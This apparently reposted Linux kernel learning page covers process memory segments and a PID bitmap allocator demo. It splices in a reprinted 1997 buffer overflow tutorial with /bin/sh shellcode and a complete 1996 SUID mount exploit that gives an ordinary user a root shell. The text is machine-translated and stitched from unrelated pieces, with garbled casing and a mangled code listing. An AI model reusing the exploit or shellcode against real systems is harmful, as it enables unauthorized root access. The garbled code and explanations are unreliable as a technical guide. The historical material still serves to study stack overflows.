Linux Kernel Learning-process

Source: Internet
Author: User

Say a few terms first:

First, five segments of the Linux process

Let's briefly summarize what 5 different data areas are included in the memory space of the process.
Focus:
Code snippets, data segments, stack segments, this is a concept
Heap, stack, global zone, constant area, this is another concept
1) Code snippet: A code snippet is an operation instruction used to hold an executable file, that is, it is a mirror in which the executables are stored. Code snippets need to be prevented from being illegally modified at run time, so only read operations are allowed, not write (modify) operations--it is not writable. Code Segment/text segment usually refers to an area of memory that is used to store program execution code. The size of this area is determined before the program runs, and the memory area is usually read-only, and some schemas allow the code snippet to be writable, which allows the program to be modified. In a code snippet, it is also possible to include some read-only constant variables, such as String constants.
2) Data segment: The data segment is used to store initialized global variables in the executable file, in other words, variables and global variables that are statically allocated by the program.
3) BSS segment: The BSS segment contains uninitialized global variables in the program, all zeros in the in-memory BSS segment. A BSS segment (BSS segment) usually refers to an area of memory that is used to hold uninitialized global variables in the program. BSS is the abbreviation for English block Started by symbol. BSS segments belong to static memory allocations.
4) Heap: The heap is used to store dynamically allocated memory segments in the process, which are not fixed and can be dynamically expanded or scaled down. When a process calls a function such as malloc to allocate memory, the newly allocated memory is dynamically added to the heap (heap is expanded), and freed memory is removed from the heap when memory is freed (heap is scaled down).
Its physical memory space is applied by the program and is released by the program.
5) Stack: Stack is also known as the stack, the stack is a temporary user store program created local variables, that is, we function brackets "{}" defined variables (but does not include the static declaration of the variable, static means to hold the variable in the data segment). In addition, when a function is called, its arguments are also pressed into the process stack that initiates the call, and the return value of the function is stored back to the stack when the call ends. Due to the advanced first-out features of the stack, the stack is particularly handy for saving/recovering call sites. In this sense, we can think of the stack as a memory area where temporary data is stored and exchanged.
It is assigned by the operating system, and memory requests and recoveries are managed by the OS.

Let me give you a specific example of the C language:

Main.c

int a = 0; Global initialization Zone

Char *p1; Global uninitialized Zone

Main ()

{

static int c = 0;//global (Static) initialization area

int b; Stack

Char s[] = "ABC"; Stack

Char *p2; Stack

Char *p3 = "123456"; "123456\0" in the constant area, p3 on the stack.

P1 = (char *) malloc (10);

P2 = (char *) malloc (20); Areas that are allocated 10 and 20 bytes are in the heap area.

}


Ii. organization of each segment in memory

The organization of each segment in a linear space. Direct:

+--------------------------------High Address
+ envstrings environment variable string
+--------------------------------
+ argv string command line string
+--------------------------------
+ ENV pointers environment variable pointer table
+--------------------------------
+ argv pointers command-line parameter pointer table
+--------------------------------
+ argc number of command line arguments
+--------------------------------
+ stack frame for main function
+--------------------------------
+ stack frame of called function
+--------------------------------
+ ......
+--------------------------------


+ Heaps (heap)

+--------------------------------


+ BSS does not initialize global data

+--------------------------------


+ Data Initialized Global

+--------------------------------


+ Text Code Snippet

+--------------------------------

Wherein, heap,bss,data these three segments in the physical memory is the continuous storage, can understand so: these three are one. Text, Stack is stored independently, this is now the distribution of Linux segments, in 0.11, the code segment and data segment is not discrete, is together that the data segment and code snippet is a segment, of course, the heap and BSS together with them. You can also see from the task_struct of 0.11 that the data segment, the descriptor of the stack segment, is one, all at ldt[2].


is the virtual address space of the process.

Stack segment:

1. Provide storage space for local variables inside the function.

2. When a function call is made, the "process activity record" is stored.

3. Use as a temporary storage area. If you are calculating a long arithmetic expression, you can press some of the results of the calculation onto the stack.

Data segment (static store):
Includes the data segment of the BSS segment, the BSS segment stores uninitialized global variables, and static variables. The data segment stores initialized global and static variables.
Code snippet:
Also known as a text segment. Instructions for storing executable files.
Heap:
Just as the stack segment can grow automatically as needed, the data segment also has an object that is used to do the work, which is the heap. The heap area is used for dynamically allocated storage, which is the memory that is live with the malloc function. Calloc and realloc are similar to malloc. The former returns the pointer before emptying the allocated memory contents to zero. The latter changes the size of the memory block pointed to by a pointer, can be enlarged and shrunk, he often copies the memory to another place and then returns the new address.
Code snippets, data segments, stack segments, this is a concept
Heap, stack, global zone, constant area, this is another concept
1, Stack: The compiler automatically allocates the release, the value of the stored function, the value of the local variable, and so on. It operates in a manner similar to a stack in a data structure.
2, heap area (heap): By the programmer assigned to release, if the programmer does not release, the end of the program may be recycled by the OS. Note that it is not the same as the heap in the data structure, but the distribution is similar to the linked list.
3. Global zone (Static zone): The storage of global variables and static variables is placed in a block, initialized global variables and static variables in an area, uninitialized global variables and uninitialized static variables in another area adjacent. Released by the system after the program is finished.
4, the literal constant area: the constant string is put here. Released by the system after the program is finished.
5, program code area: the binary code that holds the function body.

The above mentioned a buffer overflow

Linux buffer Overflow (2007-03-27 07:15:20) reproduced
Category: Exploits collection

##########################################
Mechanism analysis of buffer overflow (overflow)
##########################################

Only 1997.7.19
[Email protected]

1. What is a buffer overflow?
~~~~~~~~~~~~~~~~~~~
Buffer Overflow,buffer Overrun,smash The Stack,trash the stack,
Scribble the Stack, mangle the Stack,spam,alias Bug,fandango on Core,
Memory Leak,precedence lossage,overrun Screw ... Refers to the hand of a system attack
To the program's buffer, causing the buffer to overflow, thereby destroying the process
The program to execute other instructions in order to achieve the purpose of the attack. According to statistics, through the buffer
Overflow attacks account for more than 80% of all system attacks.
The cause of the buffer overflow is that the user input parameters are not carefully checked in the program. For example, the following process
Order:

example1.c
----------------------------------------------------------------------
void function (char *str) {
Char buffer[16];

strcpy (BUFFER,STR);
}
----------------------------------------------------------------------

The strcpy () above will copy the contents of STR directly into buffer. So long as the length of STR
Greater than 16, it will cause buffer overflow, causing the program to run an error. There are problems like strcpy.
The standard functions are also strcat (), sprintf (), vsprintf (), Get (), scanf (), and within the loop
Getc (), fgetc (), GetChar () and so on.
Of course, filling in the buffer to cause it to overflow will generally only appear segmentation fault
Failure to achieve the purpose of the attack. The most common method is to make the program run by creating a buffer overflow
A user shell and then executes other commands through the shell. If the program is rooted and has suid permissions
, the attacker obtains a root-privileged shell that can perform arbitrary operations on the system.
Note that if not specifically stated, the following assumes that the platform used by the user is Intel-based
Linux system for x86 CPUs. For other platforms, the concept of this article is equally applicable, but the program should do the corresponding
Modify.

2. Manufacturing Buffer Overflow
~~~~~~~~~~~~~~~~
A program is usually divided into three parts: The program segment, the data end and the stack. In the program section.
The machine code and read-only data of the sequence. The data segment puts the static data in the program. Dynamic data is passed through the stack
to store. In memory, their location is:

+------------------+ Low Memory
| Program Segment |
|------------------|
| Data Segment |
|------------------|
| Stacks |
+------------------+ Memory high end

When a function call occurs in a program, the computer does the following: First, the parameters are pressed into the stack;
The contents of the Save instruction Register (IP) are returned address (RET); The third is the base address that is sent to the stack
(FP), then copy the current stack pointer (SP) to the FP as the new base address, and finally the local
Amount of space, the SP minus the appropriate value. Take the following procedure as an example:

Example2.c
----------------------------------------------------------------------
void function (char *str) {
Char buffer[16];

strcpy (BUFFER,STR);
}

void Main () {
Char large_string[256];
int i;

for (i = 0; i < 255; i++)
Large_string[i] = ' A ';

function (large_string);
}
----------------------------------------------------------------------

When calling function functions (), the stack is as follows:

Low memory buffer SFP RET *str high memory side
<------[] [] []
Stack top Stack Bottom

Needless to say, the result of the program execution is "segmentation fault (core dumped)" or similar
Error message. Since the 256 bytes starting with buffer will be covered by the content ' A ' of *str, including the SFP,
RET, even *str. The 16 input value of ' A ' is 0x41, so the return address of the function becomes 0x41414141,
This exceeds the program's address space, so a segment error occurs.

3. Get the user shell through a buffer overflow
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
If you write the code that we want to execute in the overflow buffer, then overwrite the return address (ret) within the
So that it points to the beginning of the buffer to achieve the purpose of running other instructions.

Low memory buffer SFP RET *str high memory side
<------[] [] []
Stack Top ^ | Bottom of Stack
|________________________|


In general, we want to run a user shell. Here's a nice, well-written shell code.

Example3.c
----------------------------------------------------------------------
void Main () {
__asm__ ("
jmp 0x1f # 2 bytes
POPL%esi # 1 byte
MOVL%esi,0x8 (%esi) # 3 bytes
Xorl%eax,%eax # 2 bytes
Movb%eax,0x7 (%esi) # 3 bytes
MOVL%eax,0xc (%esi) # 3 bytes
Movb $0xb,%al # 2 bytes
Movl%ESI,%EBX # 2 bytes
Leal 0x8 (%esi),%ecx # 3 bytes
Leal 0xc (%esi),%edx # 3 bytes
int $0x80 # 2 bytes
Xorl%EBX,%EBX # 2 bytes
Movl%ebx,%eax # 2 bytes
inc%eax # 1 bytes
int $0x80 # 2 bytes
call-0x24 # 5 bytes
. String "/bin/sh" # 8 bytes
# bytes Total
");
}
----------------------------------------------------------------------

The above program is represented by machine code to get the following hex shell code string.

Example4.c
----------------------------------------------------------------------
Char shellcode[] =
"\XEB\X1F\X5E\X89\X76\X08\X31\XC0\X88\X46\X07\X89\X46\X0C\XB0\X0B"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";

Char large_string[128];

void Main () {
Char buffer[96];
int i;
Long *long_ptr = (long *) large_string;

for (i = 0; i <; i++)
* (long_ptr + i) = (int) buffer;

for (i = 0; i < strlen (shellcode); i++)
Large_string[i] = Shellcode[i];

strcpy (buffer,large_string);
}
----------------------------------------------------------------------

What this program does is, fill in the address of buffer in large_string, and put the shell code
Put it in the front part of the large_string. The large_string is then copied to buffer, causing it to overflow
The return address into buffer, and the contents of the buffer are the shell code. So when the program tries to
When returned in strcpy (), the shell is executed instead.

4. System attacks with buffer overflow
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
If a program is known to have a buffer overflow flaw, how to know the address of the buffer, where to put
Into the shell code? Since the stack start address for each program is fixed, you can theoretically
The distance from the repeated retry buffer relative to the starting position of the stack. But this kind of blind speculation is likely to go into
Hundreds of thousands of times, it is actually unrealistic. The solution is to use the null command NOP. In the Shell code
Put a long string of NOP in front, the return address can point to any position in this string NOP, execute the NOP instruction
After the program activates the shell process. This greatly increases the likelihood of guessing.

Low memory buffer SFP RET *str high memory side
<------[nnnnnnnsssssssssssssssss][] []
Stack Top ^ | Bottom of Stack
|_______________________________|

In the figure, N represents nop,s for the shell. The following is an instance of a buffer overflow attack that exploits
The vulnerability of the System program mount:

Example5.c
----------------------------------------------------------------------
/* Mount Exploit for Linux, Jul 30 1996

Discovered and Coded by Bloodmask & Vio
Covin Security 1996
*/

#include <unistd.h>
#include <stdio.h>
#include < stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>

#define PATH_MOUNT "/bin/umount"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50

U_long Get_esp ()
{
__asm__ ("Movl%esp,%eax");

}

Main (int argc, char **argv)
{
U_char execshell[] =
"\XEB\X24\X5E\X8D\X1E\X89\X5E\X0B\X33\XD2\X89\X56\X07\X89\X56\X0F"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;

int i;
int ofs = Default_offset;

Buff = malloc (4096);
if (!buff)
{
printf ("Can ' t allocate memory\n");
Exit (0);
}
ptr = buff;

/* Fill start of buffer with Nops */

Memset (PTR, 0x90, Buffer_size-strlen (Execshell));
PTR + = Buffer_size-strlen (Execshell);

/* Stick ASM code into the buffer */

For (I=0;i < strlen (Execshell); i++)
* (ptr++) = Execshell[i];

Addr_ptr = (long *) ptr;
For (I=0;i < (8/4); i++)
* (addr_ptr++) = Get_esp () + ofs;
PTR = (char *) addr_ptr;
*ptr = 0;

(void) Alarm ((u_int) 0);
printf ("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");
Execl (Path_mount, "MOUNT", Buff, NULL);
}

----------------------------------------------------------------------

The function of the GET_ESP () function in the program is to position the stack position. The program allocates a staging area first
Buff, then fill the front part of the buff with NOP and the shell code in the back part. The last part is the hope
The address returned by the program is given by the stack address plus offset. When you call mount with the buff as a parameter, it will cause
The Mount program's stack overflows, its buffer is overwritten by the buff, and the return address points to the NOP instruction.
Because the owner of the Mount program is root and has a suid bit, the result of the normal user running the above program will
Get a root-privileged shell.

Start the system to learn the Linux kernel, the reference book at hand is << in-depth understanding of the Linux Kernel >> Third Edition, which is based on the 2.6.11 version to explain, So my notes here are based on this version as well. My aim is to write the book in a way that I think is less detailed or that can be discussed and understood. Plan to complete the book in three months and try to update about three notes per week. Other references include:<< in-depth understanding of computer systems >><<linux Kernel scenario analysis >> <<linux kernel design and implementation >><< Full anatomy of the Linux kernel >> <<unix os design >> These books are all references to the relevant sections, reading or << in-depth understanding of the Linux kernel >> the main deployment. ================== Split line ===================== familiar with Unix know that the process number is the PID is actually the integer data, each time a new process is created to return an ID number, this ID number has been incremented, Until the maximum time to start "wrapping", that is, starting from 0 to find the current smallest available PID. In the Linux kernel, the use of bitmaps to achieve the allocation and release of PID. Simply put, is to allocate a system with the maximum number of PID of the same size of the bitmap, each time a PID is assigned, the corresponding position in the bitmap is set to 1, release 0; If the entire bitmap is not found, then return-1. I extracted the code from the relevant part of the kernel to write a simple demo:01. #include 02. 03./* Max PID, equal to 2^15=32768 *. #define PID_MAX_DEFAULT 0x8000 05. 06./* page size = 2^12 = 4K * *. #define PAGE_SHIFT. #define PAGE_SIZE (1UL << page_shift) 09. #define Bits_per_byte 8. #define BITS_PER_PAGE (Page_size * bits_per_byte). #define BITS_PER_PAGE_MASK (Bits_per_ PAGE-1) 13. 14.typedefstruct Pidmap 15. {unsigned int nr_free; . Char Page[pid_max_default]; pidmap_t}; 20.static pidmap_t Pidmap = {pid_max_default, {' 0 '}}; 22.static int last_pid =-1; 24.static int test_and_set_bit (int offset, void *addr) 25. {unsigned long mask = 1UL << (offset & (sizeof (unsigned long) * bits_per_byte-1)); unsigned long *p = ((unsigned long*) addr) + (offset >> (sizeof (unsigned long) + 1)); unsigned long old = *p; 29.30. *p = Old | Mask 31.32. Return (old & mask)! = 0; 33.} 34. 35.static void clear_bit (int offset, void *addr) 36. {PNs. unsigned long mask = 1UL << (offset & (sizeof (unsigned long) * bits_per_byte-1)); unsigned long *p = ((unsigned long*) addr) + (offset >> (sizeof (unsigned long) + 1)); unsigned long old = *p; 40.41. *p = old & ~mask; 42.} 43. 44.static int find_next_zero_bit (void *addr, int size, int offset) 45. {unsigned long *p; unsigned long mask; 48.49. while (Offset < Size) 50. {Wuyi P = ((unsigned long*) addr) + (offset >> (sizeof (unsigned long) + 1)); Mask = 1UL << (offset & (sizeof (unsigned long) * bits_per_byte-1)); 53.54. if ((~ (*p) & mask)) 55. {A. break; 57.} 58. ++offset; 60.} 61. . return offset; 63.} 64. 65.static int Alloc_pidmap () 66. {last_pid int pid = + 1; . int offset = pid & bits_per_page_mask; 69.70. if (!pidmap.nr_free) 71. {return-1; 73.} 74. . Offset = Find_next_zero_bit (&pidmap.page, bits_per_page, offset); if (bits_per_page! = offset &&!test_and_set_bit (offset, &pidmap.page)) 77. {--pidmap.nr_free; Last_pid = offset; return offset; 81.} 82. Return-1. 84.} 85. 86.static void Free_pidmap (int pid) 87. {. int offset = pid & bits_per_page_mask; 89.90. pidmap.nr_free++; Clear_bit (offset, &pidmap.page); 92.} 93. 94.int Main () 95. {. int i; for (i = 0; i < Pid_max_default + ++i) 98. {%d\n. printf ("pid =", ALloc_pidmap ()); if (! ( I% 100)) 101. {102.//To the whole hundred time to release the PID, look at the time of wrapping is not all using the whole hundred PID 103. Free_pidmap (i); 104.} 105. } 106. 107. return 0; 108.} Copy the code description: 1) The corresponding code in the kernel is in the PID.C and Bitops.h files. 2) Here are several bit operation functions implemented in the Linux kernel based on different CPU architectures are optimized, some used in the Assembly, I use pure c to do these functions here. But I think, whether it's a C or a compilation, the implicit idea of the algorithm is the same (see 4th below), after the algorithm has been determined, then to optimize the place to do the optimization. 3) The Code also makes some simplifications, The Pidmap object in the kernel may be an array, but the implementation here has only one Pidmap object. 4) "Bitmap" is a very common data structure, generally applicable to the following scenarios: First, the data that needs to be allocated/released is integer-related, and secondly, they are continuous, starting from 0; There are only two types of states: assignment or idle. Look back at this scenario of the PID, which satisfies the situation of using bitmaps. In other books, such as << programming Zhu Ji Nanxiong >&gt, the bitmap algorithm is also mentioned, where the scene is similar to this one. 5) Bit operation I am not very familiar with, write these several bit operation algorithm cost a lot of effort.

Init_task, this is the PCB of process number No. 0. Is the head of the doubly linked list, note the ingenious point-and-tail.

The principle of process design, and performance testing very much like AH:

1. Response time is the interaction time.

2. Turnaround time is from the time the request is made to the answer.

3. Throughput is the number of processes processed in a unit of time as much as possible.

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.